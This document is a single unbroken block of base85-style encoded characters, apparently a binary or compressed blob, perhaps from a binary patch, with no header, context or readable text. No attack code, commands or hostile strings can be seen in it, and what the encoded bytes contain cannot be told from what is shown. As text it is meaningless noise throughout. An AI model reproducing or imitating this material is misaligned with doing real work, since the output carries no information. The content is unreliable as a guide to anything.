zc6T3}cv>8HeRf&tN2op&2=*=Wh112H&PB<4whinlAY}jZjUiv-35nSS4TsfpX(IhY zkHm?bfDr$5k2T_;GcB3@6P$@8Wx}oipD0ZCbb>Lc1?p&=gXfqrpc4tRz#eycmMd>p zSiis^ZwqzY%Q54~%S^S_4~|Uv2PoalH-dtL&!^w0OvQZ?lKtn9aKDs^zxRIaiFcL! z$5QbHB341{8u_YWw*CNWV`V%tnM)mr&m4m5WPAC?T^_Q}zJp;D@P!patnSWAgBdaf zSJMJ{|0OTDUd`x@0MkbW&Ge3qnzsh;Vr0 z@2HU5g5#Fp!*478)2_{W&~T`8qR6XwoPQd!@4UeVxUzQ>UPlf4N$d|rRQZXEz^fcz zV}wLK@7<^WVHicpI#g`ciR0?(>#@+A`+~%i_3p6!gLl6K-OMhRJBL4#T>u+p&Hl^By&>H6_?5o{*ALxmyiFy39d7Uce{i`Tm3TjPk0+vd?U!E8 zHQ*1+wj=j0pNqUc%~JY=n&O6)--cn}>t(AApRS{@ttAPHOZNpaJ4nAoFMm9NyLH}U z^edS)lOHH{rg6{4P7@b*Og$5; z30I2_Prk@B-lqVWM4@x8IyUHe77~2>qK85ReM( zYvY2`x?snDVMJy;b8C8~SRhn2#YV9v%!VjEG=%-^IZUW*>^wI?;?tXVk){f#ifEpY z0+h;F>k3hW_Cd@;oOP_Mfh0&Xfl{myC{NF1mRhy64vRo0XGNY%_H#dh20mJjohXh`HDOX2e`7`|?K< zR8G49wjTu$WlK}AtSHnWg3u~3X`Cx6-Q+#ZVr~*;cKA5wv5BQX0ddTzTud+NasW%+ z`&~6a=vU)W+(4Hng(lnKet_`?_rdU9Hs|z$u<428AA0WFi1maqw+BH&!V4IO*5r20 zr~_@b8#`rS_X-!G&$PUD2F}GJTb37k{qY9FB_!}&kKVE->unKps+nE~e(nJ#rnnxP z{MB_9RZ9xvY6I?R7dzjV;I451OJT3G7jMEpC8RN}WS|fzRp-FMRn2Q6UlS9a%r9S} zM!giu>edae2^Zf^dj=`i-gO^w5>A}E#|}Pm5jW$yuLBw;Gkk)7@j=nNXuHQV;;2mT z!>`cL&8(L%dHc%!7%H}$<1i!(Y?$PW>v$-_c&rUHxPStZ_#%g}V z3?jhfkpk4NLNFrQ+M+=K zRzU9CO2cWvEK@n@29^pwXxK7o`Dq5}+M?&t=D~Q3+)cO?qNxhEos#3MLX4&y{ z%wE{(Mu2Tm$5Ma-y%>lb z51-UAA@m;*kT6H3>2*~Vb4j+`(+XikH7+VJo`-Hz6nO$A9@CXO0c6Q*4`ZN$?}y8- zQeUwG;$XT_vOHXXpLWYs;}OqKwvL)?UU}Pq6S(u1w=4c7tz0UKrmfG36wC9&;k|CF z4e2?_uI{}oWO(y0Rp4t#BI*SCLbU!PSrF@}+^|uxxZqLCrTKBMXZ<<7aCX84$+fM}~ z4+Cjro=8bT2EC*0vHsn>hOe0btb|3zrP|nXt88z7HAxCzcw46sWC8H1%?Q##eS(KnbJvvgh9_~?s41${&0r{Ya0wbgO%O>nGn@9jRzL5!7$?w%JsH$Up%-kbTs#Tn)Zfa@kA44K0q?IDh^-DC14Ex4bLkaO;*Fdat-M87{u`<-0X9cic+I&Y^%N@RhH+4g457M@0T=PA#mHCZa=w z%0#oTFgaz!t7OE$V4UTOc4jJt&~%#_sQu6D;FI0e)x+bze`b?&XPe)qP{Pi*fO1we zo4J*UHYd@PvlH5@hHA_z^Wk1$4NfmL0;u^jnBOvXumpu&%kH;td1A=pwyTySTCA;tE*G`Ee z=sTas6`oF)dsWajjRE{%5HjQW8ZW7#-Ya3ZTUNwHkBJj-;?)lCX%5dA3jS%DgVGI8 zK~KlBH9py~>c(|Gb>kUHdvAhit%;%+>s%IM2riQ49U*ueuGhxg%K$%v;h!_&EN!$$ zFlR+cFf>n3lfei(Pi4$hrxOqWsJoam>cxWr4?p;EFVS7-IUU~OBP=A7ylBiXq}@k? zQ#n22NXt`WSFcCRrLLZ0qnQ%SsF(*KvbS>(gz)bo`Mzt^NJ>XMf0EiVqV!-cc7&cu zO7H|u#v|KCyOU)Dni?4i0)n-1B?M=PDpKc|N9b?Q&!%qV}-4?dIXBhUvS)8 zJ+@8>$mDaiL~u(+)?b)x-N6uyoM!>5LDMJN|3g-}WPApM@*yI_L%z!*tNoDE7kTpV znP>dW>&5tiq<2qZ6HhWL_h`*r(kx0X9SD^-s{Y&L6RR`;w%Ni+s!DJdISd*@yK zcDYJ4&SC!EdDe)Qg6a)QKm#ATP9nUEXD66RA|&a+K4UKAq1~mXGGHJ+{otD-P@VOn z7n#`lBG=mKq1m_jMGtDREGOxUv=G&jRMMk8o z>l2aKdw#NKFwxY{<+hOoE0fq7ZcHXLWajQ)vQ55ZaSNV?+0~@MNR?7>nO%+rs>q9b z*x!P!=^rE6>p;n< zGmjSCEeUlDkjuP3D8y+GJ=llN*9ROC}iYGn{Ld}U?y3^D53 zLhRosH>k$AxX4^uNcrY;1KWmF?+!qwUnN{5@Pj$=WgU#7;>eNY}*bzu72(|5_(XTq?hsY zo*6@iO?i*Tmdi*!MJBS~$K-Y@Te(zCg=0P@s=K$eywb9FFph!MUadVZy5jSD)y{;n zi?m6Fj)La!fiKcN9(G}}-R)k8jm+(oYt<50WvAF5vKt?%Ac`BGO>1WY zwos3Wl%Vkc5~V6j#NSe5+4a4s>i43`CoMhz@4@7ArM9HPQ)`uc(tj_2FWbzlU0_XK z0lAR%L+5b%k{$rZyh3EhAkES zAux8C-dzmMp403A*d0C2qdFg@{R8jMy2g=&4$%iL9vR#%M{?$fTcddI0xCU7s0%B1 zl}rYVYqIP;3ecXvMWUMpE4#}p7cO%iJr7Kr3_tn5>tNBoT7|6RMR#k*{j}ds;Xglq z{G_MyopKVB(AxZeF{vY--rTkGa;?~`5A|r5fjSU^oqtX%&t!}%d3}9$>i+gOI9?13 zt_(3FN4qmmFob6KOf_f2z7`w%w#UKb%Vm`)7Oqe83l2VtqAnmA8sGWA{(OhjGQ-zTU3x zVW->I>;L+~a3M6bc0}+;Sd?LCIchFuD;(Ao#@(5Wimg-CS4gPk3(~pWds`EF~hdRnX7&RSnx?T6G%5~o7fEKd5 z3M{W6iPg{dYI_nV9O=f^5oHG?dXQUR1P&VGB#K4%*xh*xk zqxumnWOny=*#W~zL-0KluLb*VcLw$9O;PhV`r8sf!O3+@w(fpZCtQ0mrz_2VO#1~v zM@0jFcLRUm_@33o)9<;$5rZoP4-ttkfg61_U6wU#bACF?-myDWy3rqcaKz@5^5bkz zwFGDv3K9W3H>CLS{I&e(ah%g84NzFaaJu|FyT%6SD1U+TAifJbG$TWGRYhUx7Y(JL z#Jg*LQ`_M9EBj$gt-ggppu1^^iN``|F(#zHlcQ=gJvv*`wmKs6?s-#F|FlS)OA2=Y znaC~VcZFWX@VvNlS}sG@bgSzetUw4chR-u6Z}QaJ1~7Kc(a}_FxB(hOKyB)r*umhf z*+}ty{7HG#Otv3n)ha}%%Ob!#-#!PfauW$iDNB4nQ<=rL3%SzJ+?t=hVAjbnX`*wr zt#zwtX{wvH)&i{AlK#tC+m#XKq&SpFyRznvc0W7T|ikZv-^*qa_sh_WY%j4su?`Bt(pKDuwRkG5J z9TK}#Pfi@I$)!8D8!Ph#^A7Y$_vTLV*E{uw<1TG!@M+8}8&uK_KYM9TTKJ)q?!L_$ ztNId0&F?ys>l{_QMY`6!KINr)({c2Ph+E)J4z0Nnpq^Uo)kmkE+?SJF8Ohb@ns*Tp zS=QP*Ccc%;-Z$IcKBy%~$Zd~tTf(pFV(I!;Rrj~K^lkrLZObx)$ZS9a^QQ@**$?lb zE!;{~g+Mw0j}A;DugH~HtWXEEFRqEO%Ef-E=XNRcLcq9yUcf~O>u(yia*W$z9aa_3 z__m*b0m(9;V+{Bd(GbE85JmLfp4u%e@dXTUVR8!gOhKc{z)pZ57kk4!69lSTA&TpD zB$sKPR2bVR;x15dp4u&g*4%kOPNHZI0>|HaJw_ww$3G`9pb9V}%jkGdo>i&t1qm@ zTMK1>lVuyt2q!9$_cFh2{TQd6tohGIJ?&vl#pQJ+_S0KI>gu|Om}zGGpRT(X%jRn1 zYMZ8a2oL_7V>RgM&zJv@xWrGie|H5lnr#sT{V#qQ9gY88BGiVNOU1^oT1@)RlXS>L zQgc&@fpXxPZ_Py~PlRE{qNgADKj`Ax{7rqrVu?tf?+$*^10L}@U{VW8cD*u*F>5w} z?vrU@*=02;Nj~vw&6R$cS+_zMcPq*z@0Ez@h&0%RMh**bRsRRMyuJ7J{dXyjna{U8 z76$M?9HjBVJ@OSQN<9NmIP5;K?2@YQ=f2-Jy@ul{0{7&D78b_gh~GVTeYv+i zcjIF?&XN*OpV;H08yKd|0e0=F`tUNN2b46tK!X;W-cWC3_{|nIaoL1jVp}?{T5kge zAd}4-E)O4m)yOVFOvs?1o^7bEr%A{l)g-rCC~3D0kG*5YH%(IzXI7&VTv{-o!XHxz zA`ESM9caOKs}fU7Rk8wTW%^VvER(7aa7@k)#+7g^XW8)Rkvm?&mBZoftfGJc-Z-#CD zlvl+DYh2F?>h4(NET5Y@gOba?^&uCQrp~^8IC(L3g!$fop)abTBVc5V-Oh;rM?!G- zn^>a5sSBSuYUU027heu;p1IkJHrb|TS0N>qS|Nr^?eRDN3D)Sk{+4%C3@vI8Es?t= zQv2FhKFr(o15R|%H=dXD(KC?RlD&$JwKUNkS;Un0{fZj&MX%_z0~1um%L48+h*6)Pzr2P!Kw(D^=AL&QKQx;@o$l=0Ry=TsE}-LoRUt5!(`=jKYG;U^XIU6YSw|i z3|JV}a1V>OrI3>LcJarjm<@!qJH#6vX(noM!MwzdO;bY#aDtg0ai&`{Vz@PZ9R`%z zBY`=-KN?*|o0#zpT=AxRZ%s589t$gB`bCG9+FCD;;s-Wx@=<_lfsTLym@aLhH^2U! zymBRb-VXzns-wQc8!b7d>ES0?KbU*$pPB znA%zCx~dBN>g{L#7!*!M1)FWX$b2%T*iG|ssXCDoM)s)zXggSOu*y+&zB+n$boVYf zLwbwappe?mW8GU|6PW$Kn0w2xsM@^`6q83fq@VMBqVzYP%BsC7TO#nqwui?@_#w1D*m@B>G`;}~Ujj(S!cV?G@2+$uy@QI(m-FHk z-CNnXCmk~R!oRYs=R++ofK}s9=4lckJpk~bfAdd^WCwuH4ogd+b~LI!;=Tuu28>xb z9};z#cX!W4e=jf4e?FB=Pm4!0=l4E>LLlo|sPaPFZ^a?#d(Q^yw|d+4h@ei~Wux2_ zu$#g~V1|Fa2CQa#b5}f%Y*e&+=sPNPZffn)R)BCZ1jTfi(y)rkGz5> zlYb2vb%uG)x6(s@p4Q-nR91V8o!W*W zhXRpuf7X(@y`lF$T19CqN(73O>4r_y6)`kL@{U>FbHKpqn-+rzz8=a!EzVmu;1|~P zaA_9zGgme=3}BAGSd47ex8lM-Jk-c`A04c36@_9H+)UqrxcvGDWo=kC246#$uj#eq zc>WQO^h{j(a^e(pK8@BI2=wShN`$-c$*xCN$6GQ2IR)Wdlo2=8Qm|%+q(9GYcwEc% z8npT$W`tGf(-~Q&HorFMPP0+@idrveRGT?JrC;F33ylZA3JZ;BA+I|MthmT?+&jKp zB#Vxrs`ZTFsiK8Ly1fx)fa?#;RP|07(8j7d@+m(8;`rwfOy}c5ExgF$r7O;$g8h$r4 z(apY0H(^k2nko8?wmb1H$LJCH0cXO!z81V}uU`eukdb!bt!6DeAy?VPO1wWOF&18J zv7CIXiHgMZ0Rrdo(>xzve7hD8Eo@W>p$Dw7p`E&~_JVyvhR!MU21(y965ci8J*G)y zl)wV6o;_(aCIB2uQG6ubpWD9tZEudc7=Og9i8%g$;bZ>1mH+K#L?-Mi^?$`y~yOtIz!FV*VO6j`3yyE~H#Aze1bv z^8e-aerTP7!rqGWl00#C&+AU`#lfD?i_m+w#&q=s$et4+(vl#mU#sFpzyA=N7sep% zrP2gi9cM$-$5p$wY?Qb(EKY(Y39#E&cNE^y{rbeZC#K!T5l!8Ip7yCz0tAS?eC6eu zlXk%N8NyZjT}w$oI1fnJNhe1v?*~0L$jRLV;+Hp@I$RC|VM!+v2v8J-NET9C^j>oQ za)Oc>)_&SR-bR`-R{=gk*f}G%#c63H=*TZ@#^zx_`X{T<-}hha8D8CPd}^4JU0WKl zS*AVVXa&;o3OHujtHa4oeUd@^op zt#{I(&;r(MvyG^v1ZGrX@wIq$;&!1|p$IuokFw)!lv%PrRKUfep-9s+F-5CGg_d#Iakq!P<2b*)5~H*F-lQ+r#Uh$t z@4+8;mrDnW;;ZoUA1`p&vBYVp2~GbH#d;k;8-V=f(;w537{0U=7>6q#9y>cz#tuUd z=ue2+^28b1!|^6ow<$b0eT#=Lv*6*ws7QJX*WZ5kL!ddC>+*jONC4*2>WuylQ~>G& zE{)Iz&SWT|34ASrx=e<6|Qyio%-@yb>{?+WfAv} z+1bUwnw65uBjb>a0U2p@2j9IsgPg@Jj}$Pw?A0HTsPDc}4)9E4Nkrk}b;M!F)fHsiO+L?bm0;-ewX|C=e_9`F@-fP!TpiH9aBt>y~ zM!#REfArcT#@Y&2fJad1lzk_^OVE!IZN}y~t?t5tjuRSb!%1)~iacF9sQ=JcmEP@? zdIKTg0B@)V@Z?XxE4yc|v?+17&oOj351Qr9G5tkX6&;g@eKN!+qr(4)sWrmkQfs&{ zvXHWXJRdl+D4hHuNdE3(e~MO8%N=I-cA4fLM$qT*K~X!iLvH6<;YZZvsp!bn!z#_{ z6^mSM5^isPP?{xE%U8}%aXvj9?@Q{zKeAikcQJPscx2e+oEPx}{NVgcMSj8`Yynal)a71oxN3Avk8d34M^>jmG`%D%lYZ`SUl z8|zWA%~CmVGHAmr_h`|$-%c!~ppdwRKQbgG33e1`mx*^#mGHcvF6UFK7d!M-%bUFH zT(A=xs&)s%mVpf@Cb(P+rQZWxEnFJ~{hXld3?1-r-uVksuq+;CNe{^JI}yh+}_%_LzG8UONUwvDqgzRYnD2{R*71rf+`u z^N$78&s#Q=e7v_(m}6oa<2Lu-rNtz%Im=uk5b77r3R{)Is#Y`yo#)nug9R@6I=<#wCy~Ir1tkg&fj! z#u?ydQZh|MOY0m7$x?{Jgda{$K9%UFwSGRLS^M-+Uz_{wN`a!*nHsH>J@L|s*#J(4 zHFFE?bJ~4k5tD*&KA#jgDoWMVLxqsy7Y)Q=E>2I{@I?0m#K(+vYhHpD2#zC4j_xYS zDKxY+2qi?!2{9G*S=8)Y5B@M;NOt;R_DaJUPY)HZI+vI#_d&uHS(2YasTm|ZK;d+u zC$jT}qtLVEZQ(vh%t!NW#tU+afwm1z@-5mnZg+5Ac)FLEWCewQ_9dlJdV7!N8Fs$APUp zrEX>$UEDLi1YJ813MVCtKi)#pdFH5y{2J&^%3jjs+l1XG8|wq`sUup;qC9R!;V)W! z@%nDm`>WAvG`jKkyFcPQ;RVO~nRMqIiJTRJ9=ci78cv8E#tp1pjFazLs(8)6Qanp? zgast7ZA{ikqmbk>E1b6rX1Pnz6L~bO7tETE8y7By%S;GpEw!H8#vN?C2R!m1aOd*A zKt%5QA4tjo#z?UkirS~|F=Iu@8DyP|?up5kc*|wEy$*cjLHXl#Z}Qm}XlxN&Z6zZq$;|lv9i%#2 z)<);b$hdazhm59uYNr<-3U!@JEI;6`9>Ac!RDzf?Nw>C1_6~n3ePqw@stM#b{yIG% zBY|xlr}vFAHHF&rLSu^~=unw>*v{TS+n%REju9fi>ZsPs?>AQ5*VJL5q3MX{fd}6a zWh|y?mkcSJ)->#20HzYZQsfT{)8G@KT>s|x-an7X3(tkK5RKyGxNfp?65 zH4bkh!5ll$QujSO!=X!J&=#?!H3l#~(JKAnM!96jN+^XIQg59iloUiciXc^f^$}uh zdvj5)-AZSvvF4W9ju6A`gI)8FtCrfl#Wa~(C*x0#%q!%1H*=?trHDE0+-!H(J46Rm zxAHmF+_q}@0_TA~l~U5!0t}-bR@?+9exo9Zx$~Z^9CGo@94Xgx>`wF)yY6Kbe2+@ z5!W+(E?Mvg1uQ&Lg(ciuGf)oV?8jo7Y=^)4)sC#W=1ipT+iBS1EG#Jie9!fZ1v`9^ zw>UTe@4zpKCCB(MNZc`dgP>^d7T@P8f=!c)CB+ELRbDvlHWqHTzbzJAvwTFQ1t!AY ziy!&myv268VtXt_=g~3l^-3Yv`N2K;%>=Uv{?&K3&f&DxMV~5ZX9DVx+o6qXj`?6T zB_r}7JH6Yg0BopZ=Gy4jFZYmU8nyIe-tP?lzG-(JH=>ZZJ0lRQxnXGQlUu!!vor?_*L ziNwW?jtF~gUa=YBU)sOHB3g@UU;~hbRJo;Y{;RKx82ce@?5xh7DDu!UkBgRDeZsnKFBZIqaoio?wkETeVh0mF zB4OT7QLlZ(u)QL?)mB+O=3C!bg+(L^O+NiXDS&x^u2Oz^m2Hk>p@W1JDQxH*j1Aj~ zf`isWUz&zm)9Rkt$6V>{eeT`YRmSeV)~i@*#9iZw4O!Vb^~N;UCLe+v$>1O1X6A%Y zWQFxM3!Iv2;}l6OyzEgX>85pcdPjG4DK|S~5Egn$pDcf#L#r zPH6VYmGbln;7z+D_i`GKpd3`)^R9?!`6*w?=%ct6d-EV8$7QXp)M|oJ>K@ZKLDh!SbFr(UK@vYjaaYEj?!rRhkteo z)go?tiI)~nXq%b}863rwN5qwJ^0gav?V)R&;49dD zL>SnCBvSq8XuA&;=_D+qE{8OMWHQvxETACB8~~G%_pdM!++ruALOsXP_~1c{2GU9D zZ6P=3cY2h`QiqX}`PI4^;u_}7K~Nunvlr|!X8@Pi&DZhY_sjrV3iLdJ?1MI%o9637 zMsxlind4Ol=7jz2;$h()wNnyR0AZ8Szx~r21m58RTS;4n_(zW_Yn!Hk_jq+RL6Ng* zF3EIpu)sHsyL{xqOTi;L=HtONd$`fyI)K~*i6_KGduscGN;UHA76m)1zCsiVW>Nqc zC~II>TK&XZHc!?^NGNS`>#Mm!!iOXVb{hlQ8p-{-1C(jl` zUsq_cm^CxkekT2y0Vl+TlG~g7Lc~j=Tl(x0=?dGBA_S-m`a(njjJvg=I5O{MrRV7E zbnnY*-gd@4RKc0+uzs$Y_jUOQewbYkU+gIcmAULuIl4Mfc|Q@t4wj!%6X-b-)Rl4xtJ12da$7%{{`hpe0MDH<-8OJ& zN4`2~g#Il5!TuFX#LK;wpisq(ie^$Hu&2HjP5_ivJ6z$3yZDxj65>L8%Hs0~fgj(` zkB6N~{I<@w;ejvJXN<`W_50fCHH^g+NEi87p9HAw;VCkd9RQ4d?Tgg8Wa5P*RZb$X$4$TFU1(Tk1lemz8MzpWAom|bT%O`iQC z`1*j6*zw${08&xO=ab{Scl=u4FQ}Ny&;TuIubqT8QfO)#yH-Aw7eBPL=B$}Tz>%Gp zr;&M!In%j8d5jr_*r->Cxw+R&$~Gn)Shq*9d0ff zoUr{kKUezkfEK*?l;MHQktn?P8B@{(1?B01@J@~OGKqhA*)F}9a=v?^$Y)V)LKxx2 z4kq&#lICxEGlXirB{lEx1x9lF<-qj&rja!k&3trfLndfAh;hayv@wT(;H^W-%&Dal zbfD$TvnMbmZx_YuNM)y(hr=rMp*zanJrT@BAOaIO$W4BhtgdF*%|LbqZ&Q3}geM_4 z(}1=0jT)S_r@7cr@Pfisl>()9$$MpP`#wu;HM>}JhCHQErvmgg!z=eo%~CU$5r|Co zzL~piD~ZnyfDaI(FuQ~PwQa~4<6f6m^(eT0$BBVE+$l((k~UN(NZm#ul6-r>uD|x0 zBO@I)QWQR*#B^nebxMHm?OoW|iVQ>yett)Q_!A2EWV`xFp+%jQ-H6m8a|#W?2h&lU z22b*2nO&X^FxK)y@iTL_R(kOXDdsC(^H>jJa!F>w2Gx3x`YbGx>yHk%0_GX*aiZ7= z6uKPs54p2t13-6jz(I*M;`TZ2e5XP#HGAxoj{m^%(*{@au8rb7V`_}Hit>H%92vy2 z(iG)et%;Zv0L-rNl!KQU9RB2)wjpxWIAiW7xQ(O8+Ja& z*rOLa=wT^Wr>9XH+~QkYSQ87-Dqvu|ULLASv?TI@TtC&SE z;~ma*nr}rW-%8atOH&vIvIIsJ+K@FtSbSn?!^oGiqh~Gn&$eP3lE>QOKen)XwNNM& zXNZ_B?qf>48@=x;!dNAb3KQQ8p~{6sM6sU+B=pa1-g;aPN$)3DY0>3wBF|Tw$s*$W z#WH(JBsybUBD2)R1KO;vvs_Fh){<}dfQA^N32)srArB`GW85Mx^Okxl_dB1hqN^PZ zZK8+q<~4iVh{ijoRR?9n5FR|<*Ir3J{}K~>2WYX2wMM3;vmFH)PA*&a5rTGX2BVVvcctR2?K+*39&{|t%Uzd8(!MVHmvjeQ668& z1vC%Fy@RWUxA`3(hAsicm$P&2ZytFtxy;?hfVZ=fvj_(`<2kCRS9&EpD)U$#0?d*jLx1LF4#k*y*2zzm`F8rs*H zAChVPy(L*0}-LU2?wgMq*ZuZta#-d?Ou`jIEcD7!7<*aY<}0t%p;8Wg?Bk?D1u#hc`JHt|Kk+>hVPQ476q zkgj?vD3(-LjhA$An8ZrvQxUNJi-H7Jc!DrmZ+Eq9!7f>yoepDF4<@8v>SsVudW~i6 z^(a*|ABXdeE_~WFVnT4Ax@!4P43NkOP+IU9y`pz?6X^mM#>tEPDNGZS`OfzV7Oslh zwmp2N1z{s%YY&llSpQK7`VnSf}WE{Tk7*@&+%?UH6iJ-Nf_d{(srx`Ux5UnI* z`8RH+4GozTZluB#V$wer#M^iLHYdR2%S9)H^WH8p^gc;x7lSE-5|oskuSkdaR@yDi z7ku#q2iy$hoeovDsI1K@oS*hpL@!ddoGL>&zH<;=wN=QmuP2LdD?d`VdRLt6S0w%} zTPiM?fObzSWe5kGXj#|&m?kEaV((NN4XnH&`iAwKpD*xjexUYtRnJ7%_Y&~Ak={na z@B}5ZFZ5L&iG)5ZyDzCLTunw^8#S#|%zq!|U`9+i;ja%>(r`eu_Z0E+Z$+>meP&Q znPdW_9eV0pC?reNeUVW>54sVMn@RN|G=SF>^<2LMkkU?D<^RG`koYlfl<7LX=ASHO zMiuiOlEcQ%y0C=l=35Q6EcM;_9Kj(xx6@enbn2yUl!)G7IPfw282N2KrD)&;Z~=g` z4`Tp&J>FVez3?6@_@46O;&ra=v#&Feb@Vf zHkwM6W93l|IDyL3|_mThRbtPw*iM$byl2awWzB%2Tt*fCqD*HJ~l!j@O!CXVaZ@Z(_ag`701e zl*8uCv2=U7W}8adZ9aXWx7eL0L*qHCVD(NSiL|Giv$$fSDjW=5#5g|vW1cHW?Qya^ zZ&<8LCmc4kB1^L+CHZ+m^UR(+o>jmgfF^Iu3q0f{K56VT>{)_mK0neUs(b_wK9+%* zUh1I(B0v`C##@lwg1=K*zG{ueuexp*)SM94dZUFiqW2R1{w44`sttd`>*arvq1Cq@ z_C#m_NV=)-xS99={n=)Aw|7FuU@jJ=oCL z*%_QjdOm(8dTvY$6@gdU#TE4Y_APN9{-tF!n1T8{&WQ;E-w@lEywNZ)3#zwM~Q>x4JlrJ~u z)4d!&);tCH0F|49F8-U%%=xVxq5K{|(%zy4EvctyCbY#TX$>Ju$}|7uOCdpP6)*SA z8fXP)8#*RcIVBdMe0ofG7B4emM~ru;V2iJBjDV*jUh97Pv9&4!?bC)rC7Z;)5>;(z ziv|B+Ac1TZoB7O;{MMti?r&H%ak^BU$ zmbWllq^V%s3!9hXUMl@UNk1wyMj@Qc?5~XGcH%|wDp2=(0T>Ntq(1Z9FWyYWB!er? zkwa>xWG?O@Y>oXsAiyAf7$dTOaG6HmI>x8nIE~WhIIkgPX4tv(lR#{7ib|$$R{lo* zLzeN;uJ`w~$cKc|!u((UIDGrH?Jp<5Cj5p-@GubgKVRBAdW{t&YM3`66DM+hW@}M; zSzkM3WBxz!% z8FY&4hTGWkoOGZCa4}Qlc{&N2z*V7bxb){v+WI4sTeQQ+KRp8IKRf~lX!Q*6ELm|zB;6=$IHvL#vBam=Dr zlDx|Zugo~Gbwbr9o*U05RL@ue{To>z4M+WA8Uab$P-femkIy_TGM#x0D1YulaT!v9 z6W=||7LVG)yES?*Pis!#C4HW7*H$^|!)X}4rkS2jT=zTpU;YGP$xCf{RPdm%Sx6O? z&-#=B4PxFZc5p^|y)~72&>B`ih_Q>DGhAxgA~PM-aat*NFlG2SCb!fj1i>P_ZS-7$ z3Qv{Jh_PS+`wy;D^CF1$+R9fG+-+E4s*b|<*$TK!EU#gG%0H%IbS@L6Tw93XxfMS3 zefe(8e`64=jZDY;2%kWhN2`m=wZKTvv){xB|BKh+m2ar*Qi$67H%z&VqF1=1n`D>I zp+_9Y3{MyJZJ_ctGas!6JBFaNcw%hc5nAd0>PeXQMQHu2voMGqA#Dom>SK<7?lPkq zc1TGV7M2MnM<;f4b$Z!V{VewZvbzKyZ)x>X-eRbEIuL6_KiX(w7ZiwjW0KaRC*b$; z?=+!YsLLgHzXydWoW zw^OjPWLGw!WD}EEMy2P+Z0mX?1lThJ1o1c<3!}ao>A8}T3q?UkXl{@_;lMYwa(C7# zg?rND38bUOErq_XR7T)a3%fY9M*bpJ?z1TOh%HtKMD*VFt&v0b05QaHaTn(* zedQPGk3R)njQIp;2+o*`lILTFDw$WjV1VSe-<#;wSc;%b{OFu~S9R+-vt0?VDGuc8 z4EOAvdV8Ui)NJPQeBRan4dAPmI$45gNv4+Wq^#m7)Z9>$UUr5qdF~3v@_M>2VKNxvT!iQ0<@kivpGIsS zUCfDWg*eyx{8DAC?v(={Fl%bZ(`oC21Ocpm?e=tMyHKLzBCIdNRY`>QII9)g*I*d8 z8GaYgIlJ3BEU!VAenPcFg+8J3Qxe0iN=*5tc+>`*%swG5@2NM}ij4j*XQF9W9C|zq zG@`5G3@|;9a*Y&oNfc5D5;&zt%XTEhjkd+{#qBt1bvL9V zu#?SJyd__FFafWELdc$v{zRkyKT$qcNP@Ro!7M|J>PW{rq~oc{dlGPf^P=6Ueu5K; zV@PzQ?+emJyR4;DyV>Y($SbuXPkhFH(<$xM3%~C%yh{-gaMkkx6pqA-c|{+fT%w^-5&rZIbg}h(AC;_ET`RfLqF>F{_L! zu-`C|!8ietQh&cjw0A~3V6Dm%ZUnRV9l>+=^Og#V=(qRMzM{y}Fm0?EUfvPBONHcc zeS1M1xI3Lmz@wPuLAVVwm!@ifE3sQ{h=h5Kei1Qb^UGTZ{s?#rM7CG62 zC0vQZ50r|nCaP|f0BSZJxZ zal!jNOf&CLiDjC=>L)p9O4W3=wJ4@Cg;Y%lSackO8tBbzQ5R{5;lMlQZYYJ`v^v6) zP+E`EI=dhhfLf8MGAgDGh~gfh+r1OQHhdISR$P>CMaS4vYPUEk`X8}>YuXL=$8#Np zv|j2lc`O8w(`Cxp`SJA}WtPU#*D$Cq(@*5+{v+_yW35RW=!CjC3TWNqUP@8ytfdrF zMH)u(xp2^(*8l88?5Er~5!Ibg%ZrX_l&$IWYMP9&Aqr|x8hx-d+PJ|i_JR2(aj72- zMFq6R+`8uyW_FB_u?fT5nORM5i~JzSLtf=vfN{VA?&4?&87#G%$)vCb ze#ZY}0qwN0e`;zro{a1=k-i^SriXCHYd4VcF2)E!JGXmY#a=-B=*U&OUW?c`aS^vi zhKp_s@WO-AkMU$n_s){KtQw#v;y$WU@O0#fbyF;0W!@3H8Yq1+zq#H#?XyT`(wOuo zdjGtha!;h%x(dU4=BY#!h1M^x;i~^NQhr1IiRL7NcK6sj~%Q%sjYDQ z8CIzMkh3S=UCTFNByxpQs5rny@jpO+_p&1M&<gro2yjs3_cM81S|Pm z(&g;)B42oXx10F{Enb*IFcHlNdVU@d&oR?l;{M^I;o7EQbmKg@`ZNWFJ{%bJmF)4t zxi78{qc@W0{C;+{$9fU9b9tGCxLxaq;dg1BlgEcUq-~u;X{S!YDCzyrroqkM`h4p# zuXl9YqIV1ecFwNQ9*U84`|$5s?BP>OEFuo zYGpC7Q9U--O^YF)%6nueY?g$5d4h5s@HS?Y$vZ}U$eqw>)%tGd zT0D<-dA;|=eeYHEqwScrFNt&Kv*#~#t|Jba z{=O)=PrZOp-I2T^$!N@goSE$BX`-jE);drQZ45Q%96Pc=AV8%bCpP#>i>2K((!6Io8T%eC31a6z?48=YGr4@p~ICF&?Wdm%^?|I4Z1)r zuCdL;X0k^tl-fLT=Y^}^U3U#4zaLocb*8S_h8qh2u0MK7N2DghZif`vUA9r>~W8r=j?o{(#>=>Pk z2N~!zKon&z&XqE~ z6Ns@4m8oQF7Z~^=9p}1cC6@|lub)#Ps?-LGY|gEfXUW|vMQ{I8Q0V`H^L(}asJdH9 zR?^%jZ^rw|H#q=9$4*F5kHyaD?Ph^K*vvihDu zOr*j(fa1#{9x$`As+_zrrW5R_j#eXc0RPtgQ`YfD9fez_enIN|^^^@hzj!?uJ*@^H zaRRm|PC+O3nkAS;)S|eDg0!#)Pjf<=jM>V%{V*Vrt*bSqO6kZ?wH!i!SKX0$eBh)zlZjkS-Ps{BuZtz_>R-b`BfEm2 zB53tkI-$hZ>F&5yoo&hQr_o-(uq^l--~{X)c(z(o2}lb=E4k-iSN zesVhN{hM$Pg#1_+F*a_a>m@(#BweBgtk)wHyd)Yc`FquhcltlF-fkWR|Ov z@zot&Q>uG8o`ycnJvA%uRo&iKa_0N7!b$#I2@<}nEj7)RcFAb+UokrnYsn54Xzk=* z9nQPo$#(|j+p`3h=sQ|ex7mG^}LIy^A8%MADY z{9XPf@58GUYmWPVyBeOCWn8oNpMpYnX%_^HD^>pt=b!-L99iNquBwvlCV}O@az}hI z!sdzeUK$stuyE-V|25@8L41o7ghpSJ569h2T!V6EP$r{iq+I4KL^+p%y<~)Z zx`$D%q7@-~l-U}*OdQ3rY8cR#VR#feS3^}I<{M{h-GpYIzWlQ02kSDoiKg?yCeYej z;^Ws^m(19!Gp64G&HaP+Et}5iD*>llNVN($-)^+pC?exOEIXRvEu&(b0FK~CyGBNU 